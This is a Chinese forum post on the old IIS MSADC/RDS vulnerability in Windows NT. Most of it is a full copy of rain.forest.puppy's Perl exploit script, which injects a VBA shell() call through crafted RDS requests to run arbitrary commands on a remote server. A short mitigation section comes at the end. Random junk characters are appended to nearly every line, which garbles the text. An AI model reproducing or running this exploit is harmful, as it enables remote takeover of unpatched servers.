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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 72<9xNcB!}  
'n &p5%  
涉及程序: `~GXK  
Microsoft NT server B>2=IZ  
^{Y,`F  
描述: V}E['fzBFV  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 o0H^J,6gV  
X|of87  
详细: >^Nnhnr  
如果你没有时间读详细内容的话,就删除: ?%O>]s  
c:\Program Files\Common Files\System\Msadc\msadcs.dll -)V0D,r$[  
有关的安全问题就没有了。 BZeEZ2"  
Y+-yIMt$r  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 o|xf2k  
S^QEctXU  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 q\fbrv%I4  
关于利用ODBC远程漏洞的描述,请参看: !sT>]e  
K9<8FSn  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a5a ;Fp  
(XZ[-M7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A4j ,]hOD  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp r_7%|T8  
P;5)Net1X  
这里不再论述。 OM EwGr(  
NLsF6BX/-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: wT@Z|.)  
M\1CDU+*Ns  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset g\aO::  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! HhbBt'fH  
$(1t~u<17  
{v"f){   
#将下面这段保存为txt文件,然后: "perl -x 文件名" :5kDc" =Z|  
!?,, ZD  
#!perl vl (``5{  
# 1g;2e##)  
# MSADC/RDS 'usage' (aka exploit) script }8O9WS  
# }&v}S6T  
# by rain.forest.puppy _/>ktYo:  
# "aGmv9\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me H1N@E}>|  
# beta test and find errors! (kL"*y/"p  
@nH3nn  
use Socket; use Getopt::Std; w-).HPe  
getopts("e:vd:h:XR", \%args); jFQy[k-B  
\' O/3Y7?X  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )<x9t@$  
[}L?EM  
if (!defined $args{h} && !defined $args{R}) { 0:{W t  
print qq~ Bc=(1ty)  
Usage: msadc.pl -h <host> { -d <delay> -X -v } @]Q4K%1^"  
-h <host> = host you want to scan (ip or domain) xU;SRB   
-d <seconds> = delay between calls, default 1 second 0akJv^^D  
-X = dump Index Server path table, if available l+;S$evY  
-v = verbose <"Y>|X  
-e = external dictionary file for step 5 eD*764tG  
D0J{pAJ  
Or a -R will resume a command session jOhAXe;~X{  
` nX, x-UM  
~; exit;} !.h{/37]  
h7]+#U]mi  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 49"C'n0wST  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :(q4y-o6  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W6?=9].gc  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); J.iz%8  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} N XB8u6  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Uw4iWcC  
BA a:!p  
if (!defined $args{R}){ $ret = &has_msadc; =eA|gt  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} yzEyOz@Q  
EW$drY@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Uz;^R@  
. "cmd /c "; SFg4}*"C/  
$in=<STDIN>; chomp $in; imOIO[<;  
$command="cmd /c " . $in ; /  Xnq0hN  
or-k~1D  
if (defined $args{R}) {&load; exit;} $HwF:L)*  
091m$~r*  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 60{G 4b)  
&try_btcustmr; oyVT  
jTwSyW  
print "\nStep 2: Trying to make our own DSN..."; <MEm+8e/s6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; P$'PB*5d|  
TTG=7x:3  
print "\nStep 3: Trying known DSNs..."; CC^D4]ug  
&known_dsn; MJX ny4n  
%)V=)l.j  
print "\nStep 4: Trying known .mdbs..."; ]Zb9F[  
&known_mdb; yBK$2to~  
.H|Z3d!Jj  
if (defined $args{e}){ :h@V,m Z  
print "\nStep 5: Trying dictionary of DSN names..."; w&@tP^`  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [Or1  
Q & /5B  
print "Sorry Charley...maybe next time?\n"; c@>ztQU*  
exit; KXMf2)pa  
i, ^-9  
############################################################################## lLQcyi0  
o?]Q&,tO  
sub sendraw { # ripped and modded from whisker @<DRFP  
sleep($delay); # it's a DoS on the server! At least on mine... :%sG'_d  
my ($pstr)=@_; 9>{ml&$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @+;.W>^h  
die("Socket problems\n"); .i\ FK@2  
if(connect(S,pack "SnA4x8",2,80,$target)){ )pI( <  
select(S); $|=1; G=qlE?j`j  
print $pstr; my @in=<S>; / 0$ !.  
select(STDOUT); close(S); '&Ur(axs  
return @in; (bm> )U=  
} else { die("Can't connect...\n"); }} Dp ['U  
/'oo;e  
############################################################################## 9ad`q+kY  
xkf2;  
sub make_header { # make the HTTP request N-N]BS6  
my $msadc=<<EOT cvw17j  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 aVr(*s;/  
User-Agent: ACTIVEDATA gwNZ`_Q  
Host: $ip >~d'i  
Content-Length: $clen b!t[PShw^  
Connection: Keep-Alive #2|biTJ  
3]S_w[Q4  
ADCClientVersion:01.06 / 8O=3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 R?{_Q<17  
tF[) Y#  
--!ADM!ROX!YOUR!WORLD! m +A4aQ9  
Content-Type: application/x-varg 5XT^K)'  
Content-Length: $reqlen z81dm  
Y4YZM  
EOT $,Q] GIC  
; $msadc=~s/\n/\r\n/g; )fo0YpE^|  
return $msadc;} JCxQENsVqB  
WBKf)A^S  
############################################################################## S9DXd]6q_  
;/NC[:'$D  
sub make_req { # make the RDS request 7 cV G?Wr  
my ($switch, $p1, $p2)=@_; +Zi+ /9Z(H  
my $req=""; my $t1, $t2, $query, $dsn; )Q9Qo)D T  
= y^5PjN  
if ($switch==1){ # this is the btcustmr.mdb query o(}%b8 K  
$query="Select * from Customers where City=" . make_shell(); 8(ZQM01;  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . kjQW9QJ<  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} &qY]W=9uK  
XX-(>B0L  
elsif ($switch==2){ # this is general make table query (k+*0.T&?  
$query="create table AZZ (B int, C varchar(10))"; Ay Uw  
$dsn="$p1";} z}}P+P/  
w\[l4|g `  
elsif ($switch==3){ # this is general exploit table query ?9?A)?O<j~  
$query="select * from AZZ where C=" . make_shell(); 7oZPb  
$dsn="$p1";} /7#MJH5b6  
:}36;n<['  
elsif ($switch==4){ # attempt to hork file info from index server XR VZU~ZV  
$query="select path from scope()"; ?(zCv9Pg  
$dsn="Provider=MSIDXS;";} AP z"k?D0  
1tO96t^d%  
elsif ($switch==5){ # bad query v? 8i;[  
$query="select"; 6wT ])84  
$dsn="$p1";} /\Cf*cJ  
;k0Jl0[}  
$t1= make_unicode($query); .dYv.[?hL  
$t2= make_unicode($dsn); zT}vaU 6  
$req = "\x02\x00\x03\x00"; h#Rza-?"\  
$req.= "\x08\x00" . pack ("S1", length($t1)); ;d>n2  
$req.= "\x00\x00" . $t1 ; G8'{nPA~  
$req.= "\x08\x00" . pack ("S1", length($t2)); K:9AP{+  
$req.= "\x00\x00" . $t2 ; IkmEctAU  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; k|>yFc  
return $req;} @}PXBU   
Fa`%MR1  
############################################################################## Tei2[siA5  
 7L:Eg  
sub make_shell { # this makes the shell() statement ,_$J-F?  
return "'|shell(\"$command\")|'";} ]}Ys4(}  
WnGi;AGH=1  
############################################################################## ~u!V_su]GY  
?zP 2   
sub make_unicode { # quick little function to convert to unicode t+d7{&B  
my ($in)=@_; my $out; [&P @0F n  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Fnk@)1  
return $out;} 3 ;"[WOv  
3st?6?7|  
############################################################################## A *:| d~  
,gpEXU p\  
sub rdo_success { # checks for RDO return success (this is kludge) ;`xCfOY(  
my (@in) = @_; my $base=content_start(@in); RIUJX{?  
if($in[$base]=~/multipart\/mixed/){ NKEmY-f;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 0datzEns`  
return 0;} "{+2Q  
y(iq  
############################################################################## ->OVNmCB`+  
t@R n#(~"  
sub make_dsn { # this makes a DSN for us \7h>9}wGf  
my @drives=("c","d","e","f"); DC_uh  
print "\nMaking DSN: "; `e;r$Vpd_  
foreach $drive (@drives) { 2::YR?  
print "$drive: "; +qpG$#J0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,K@[+ R!  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" LRWM}'.s  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");  /s^42  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; z3 ^_C`(F  
return 0 if $2 eq "404"; # not found/doesn't exist 'aV'Am+:  
if($2 eq "200") { 5~UW=   
foreach $line (@results) { ^kC!a>&  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} .>r3ZwrE'  
} return 0;} `#<UsU,~Lu  
?vbAaRg50s  
############################################################################## 9 iJ$M!  
Nw9:Gi  
sub verify_exists { #X1a v  
my ($page)=@_; 7. $wK.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 7*M-?  
return $results[0];} _UZPQ[  
N)D+FV29y  
############################################################################## a {x3FQ  
?zC{T*a  
sub try_btcustmr { ,) dlL tUm  
my @drives=("c","d","e","f"); IIT[^_g  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RhB)AUAj  
%rhZH^2  
foreach $dir (@dirs) { p-\->_9)y`  
print "$dir -> "; # fun status so you can see progress D/"velV  
foreach $drive (@drives) { 5|r*,! CF  
print "$drive: "; # ditto J,?F+Qji&=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; U8NX%*oW  
$reqlenlen=length( "$reqlen" ); LauGT* z!  
$clen= 206 + $reqlenlen + $reqlen; 1MO-60  
->?tB1}^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); w oIZFus  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?%~^PHgZ|  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} L#'XN H"  
v,*C>u\3s  
############################################################################## g5pFr=NV  
jTg~]PQ^  
sub odbc_error { 5_](N$$  
my (@in)=@_; my $base; d^M*%az  
my $base = content_start(@in); 1anh@T.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 479X5Cl  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N2HD=[*cr  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =#pYd~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PCL ;Z  
return $in[$base+4].$in[$base+5].$in[$base+6];} $v#`2S(7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; &L+.5i  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 7q;`~tbC  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m44a HBwId  
EAXl.Y. $  
############################################################################## ZCZ@ZN  
4'`P+p"A  
sub verbose { i\^4EQ  
my ($in)=@_; S2\;\?]^~  
return if !$verbose; 5rbb ,*  
print STDOUT "\n$in\n";} %GY'pQz  
})70S8k  
############################################################################## f@hM^%  
c'3N;sZ*B  
sub save { ZB)R4  
my ($p1, $p2, $p3, $p4)=@_; ? _bFe![q  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; iSoQ1#MP)2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; XKws_  
close OUT;} u;t~ z  
Z|x|8 !D  
############################################################################## 573,b7Yf  
%1jcY0zEQ  
sub load { pZ \7!rON  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; T^`; wD  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); li\=mH,Wr  
@p=<IN>; close(IN); lqMr@ :t  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6i+,/vr  
$target= inet_aton($ip) || die("inet_aton problems"); -3) jUzD  
print "Resuming to $ip ..."; o<3$|`S&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; $Z;/Sh  
if($p[1]==1) { ;>5`Y8s6  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; MIr+4L  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; N%Ta. `r  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %c\k LSe  
if (rdo_success(@results)){print "Success!\n";} *5k40?w  
else { print "failed\n"; verbose(odbc_error(@results));}} ]OdZlZBsJ  
elsif ($p[1]==3){ Q0K$ZWM`7  
if(run_query("$p[3]")){ .?QYqGcG  
print "Success!\n";} else { print "failed\n"; }} N2'aC} I  
elsif ($p[1]==4){ %>=6v} f,+  
if(run_query($drvst . "$p[3]")){ YK6'/2!  
print "Success!\n"; } else { print "failed\n"; }} $qYP|W  
exit;} F{a;=h#@Q  
v ;}s`P\"  
############################################################################## EZ|v,1`e  
pk.\IKlG]  
sub create_table { P$k*!j_W  
my ($in)=@_; J+E,UiZU  
$reqlen=length( make_req(2,$in,"") ) - 28; }]mx Kz  
$reqlenlen=length( "$reqlen" ); Kd^.>T-  
$clen= 206 + $reqlenlen + $reqlen; 1F5KDWtE  
my @results=sendraw(make_header() . make_req(2,$in,"")); [H <TcT8  
return 1 if rdo_success(@results); M :}u|  
my $temp= odbc_error(@results); verbose($temp); b=/'c Q  
return 1 if $temp=~/Table 'AZZ' already exists/; Wpl/CO5z  
return 0;} HW~-GcU-o  
7LrmI~P  
############################################################################## kO3\v)B;  
Pb8@owG8  
sub known_dsn { kq5X<'MM9N  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go P* `*^r3  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1,;X4/*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", jmk Ou5@  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); KB](W  
9ZJ 8QH  
foreach $dSn (@dsns) { \z0HHCn'"  
print "."; zX&SnT1~  
next if (!is_access("DSN=$dSn")); ?BfE*I$\h  
if(create_table("DSN=$dSn")){ (V jU,'h  
print "$dSn successful\n"; 1\&j)3mC  
if(run_query("DSN=$dSn")){ X@DW1<wEt  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { jO&*E 'pk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9ET1Er{4  
0(eaVi-%D  
############################################################################## h5@G eYda  
gd*Gn"  
sub is_access { 4_=2|2Wz[  
my ($in)=@_; _#:/ ~Jp  
$reqlen=length( make_req(5,$in,"") ) - 28; h.PBe  
$reqlenlen=length( "$reqlen" ); V9v20iX  
$clen= 206 + $reqlenlen + $reqlen; XhM!pSl\  
my @results=sendraw(make_header() . make_req(5,$in,"")); pzz* >Y  
my $temp= odbc_error(@results); 87 s*lS  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !>`Fg>uy  
return 0;} JaRsm'SIk~  
|M?vFF]TN  
############################################################################## b[<RcM{r}  
~.%HZzR6&  
sub run_query { =otO@22Np  
my ($in)=@_; , [|aWT%9  
$reqlen=length( make_req(3,$in,"") ) - 28; ZKrLp8l\  
$reqlenlen=length( "$reqlen" ); -U=Ci  
$clen= 206 + $reqlenlen + $reqlen; @9B*V~ <  
my @results=sendraw(make_header() . make_req(3,$in,"")); \CMZ_%~wU  
return 1 if rdo_success(@results); A<X?1$  
my $temp= odbc_error(@results); verbose($temp); O9sEaVX  
return 0;} \uJRjw+  
Q# B0JT1  
############################################################################## t+8e?="  
\c:$ eF  
sub known_mdb { PVo7Sy!'H  
my @drives=("c","d","e","f","g"); l&qnqmW<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ai/|qYf  
my $dir, $drive, $mdb; _VK I@   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; *i]?J  
V]p{jLG  
# this is sparse, because I don't know of many Mu? |<#s  
my @sysmdbs=( "\\catroot\\icatalog.mdb", IFp%T a  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {6zNCO  
"\\system32\\certmdb.mdb", 5 aA* ~\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hGz_F/  
Kp`{-dUf  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", \EySKQ=  
"\\cfusion\\cfapps\\forums\\forums_.mdb", C 1k< P  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", #s\@fp7A  
"\\cfusion\\cfapps\\security\\realm_.mdb", L"m^LyU  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", QJVbt  
"\\cfusion\\database\\cfexamples.mdb", G@k]rwub  
"\\cfusion\\database\\cfsnippets.mdb", -r={P _E6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", X/,) KTo7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }4A] x`3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", >[fu&r1  
"\\cfusion\\database\\smpolicy.mdb", ef7{D P  
"\\cfusion\\database\cypress.mdb", @KQ.tF*  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", gJ \6cZD  
"\\website\\cgi-win\\dbsample.mdb", SMX]JZmH  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", N ,Eap KG  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" mn/)_1',  
); #these are just .5(YL8d  
foreach $drive (@drives) {  K& #il  
foreach $dir (@dirs){ t*gZcw5 r  
foreach $mdb (@sysmdbs) { .S/ 5kLul  
print "."; !bE-&c  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 6Wu*zY_+  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; e73=*~kfR  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ^m|@pp  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; _}R[mr/  
} else { print "Something's borked. Use verbose next time\n"; }}}}} zt(lV  
6:ettdj  
foreach $drive (@drives) { mM,HMrgLqK  
foreach $mdb (@mdbs) { q>$MqKWM  
print "."; 51jgx,-|$  
if(create_table($drv . $drive . $dir . $mdb)){ [7Lr"  
print "\n" . $drive . $dir . $mdb . " successful\n"; q!$s<n  
if(run_query($drv . $drive . $dir . $mdb)){ bhqSqU}6~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; i2,4:M)CV  
} else { print "Something's borked. Use verbose next time\n"; }}}} 1RRE{]2v#  
} Y![Q1D!  
7IX8ck[D  
############################################################################## v>8C}d^  
OETo?Wg1Z  
sub hork_idx { 3p0v  
print "\nAttempting to dump Index Server tables...\n"; >h\y1IrAaG  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $ DL}jH^S  
$reqlen=length( make_req(4,"","") ) - 28; q[&Kr+)j  
$reqlenlen=length( "$reqlen" ); _K^Q]V[nZ  
$clen= 206 + $reqlenlen + $reqlen; 0bT j/0G?  
my @results=sendraw2(make_header() . make_req(4,"","")); s1:Wrz?4  
if (rdo_success(@results)){ u 272)@R  
my $max=@results; my $c; my %d; Bf ut mI  
for($c=19; $c<$max; $c++){ paqGW]  
$results[$c]=~s/\x00//g; *N">93:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =;rLv7(a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; SqM>xm  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0q}i5%m7  
$d{"$1$2"}="";} h?mDtMCw2  
foreach $c (keys %d){ print "$c\n"; } S,m(  
} else {print "Index server doesn't seem to be installed.\n"; }} 5\+*ml  
+A| Bc~2!  
############################################################################## 2S?7j[@%i`  
>,e^}K}C  
sub dsn_dict { }[AaI #  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); u<-)C)z  
while(<IN>){ n{tc{LII/  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $.PRav  
next if (!is_access("DSN=$dSn")); RM;a]g*  
if(create_table("DSN=$dSn")){ g#5R|| r  
print "$dSn successful\n"; }"D;?$R!  
if(run_query("DSN=$dSn")){ -?Cr&!*B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { G:AA>t  
print "Something's borked. Use verbose next time\n";}}} 5\Q Tm;  
print "\n"; close(IN);} p*;!5;OUR  
'nCVjO7o  
############################################################################## d^C@5Pd <  
[wGj?M}  
sub sendraw2 { # ripped and modded from whisker %K6veB{M  
sleep($delay); # it's a DoS on the server! At least on mine... c1#0o) q*7  
my ($pstr)=@_; }`uyOgGg*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q5,zs_j  
die("Socket problems\n"); 3\7MeG`tl  
if(connect(S,pack "SnA4x8",2,80,$target)){ '+88UFSq5  
print "Connected. Getting data"; $ev+0m_  
open(OUT,">raw.out"); my @in; Bqf(6\)F  
select(S); $|=1; print $pstr; w*F[[*j@.  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} C[J9 =!t  
close(OUT); select(STDOUT); close(S); return @in; /<rvaR  
} else { die("Can't connect...\n"); }} {wqT$( (<  
bb6x} jR  
############################################################################## (GJtTp~2C4  
_Mw3>GNl  
sub content_start { # this will take in the server headers OoB|Eh|),  
my (@in)=@_; my $c; eZ'8JU]  
for ($c=1;$c<500;$c++) { L'+bVP{L  
if($in[$c] =~/^\x0d\x0a/){ ] ZV[}7I.  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } [`n_> p!  
else { return $c+1; }}} =U]9>  
return -1;} # it should never get here actually gRLt0&Q~  
qM\ 2f<)  
############################################################################## ^^a6 (b  
.5|[gBK  
sub funky { >?$2`I  
my (@in)=@_; my $error=odbc_error(@in); sscbf  
if($error=~/ADO could not find the specified provider/){ 5YY5t^T  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :""HyjY!  
exit;} \5ls <=S.  
if($error=~/A Handler is required/){ n7t}G'*Y!^  
print "\nServer has custom handler filters (they most likely are patched)\n"; _.5{vGyxr  
exit;} 'OY4Q 'Z  
if($error=~/specified Handler has denied Access/){ &Hoc`u  
print "\nServer has custom handler filters (they most likely are patched)\n"; >h7(kj:  
exit;}} yE:y[k0E  
j~q 7v `":  
############################################################################## y=Y k$:-y  
Zxebv# 4  
sub has_msadc { .n8R%|C5  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); DQG%`-J  
my $base=content_start(@results); GcV/_Y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); btW#ebm  
return 0;} PmuG(qg  
20c5U%  
######################## +Mo4g2W  
7`|'Om?'  
|Z:yd}d  
解决方案: >Pw5! i\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll YVIE v  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 [jgVN w""D  
RY;V@\pRY+  
拿出来充数 哈哈
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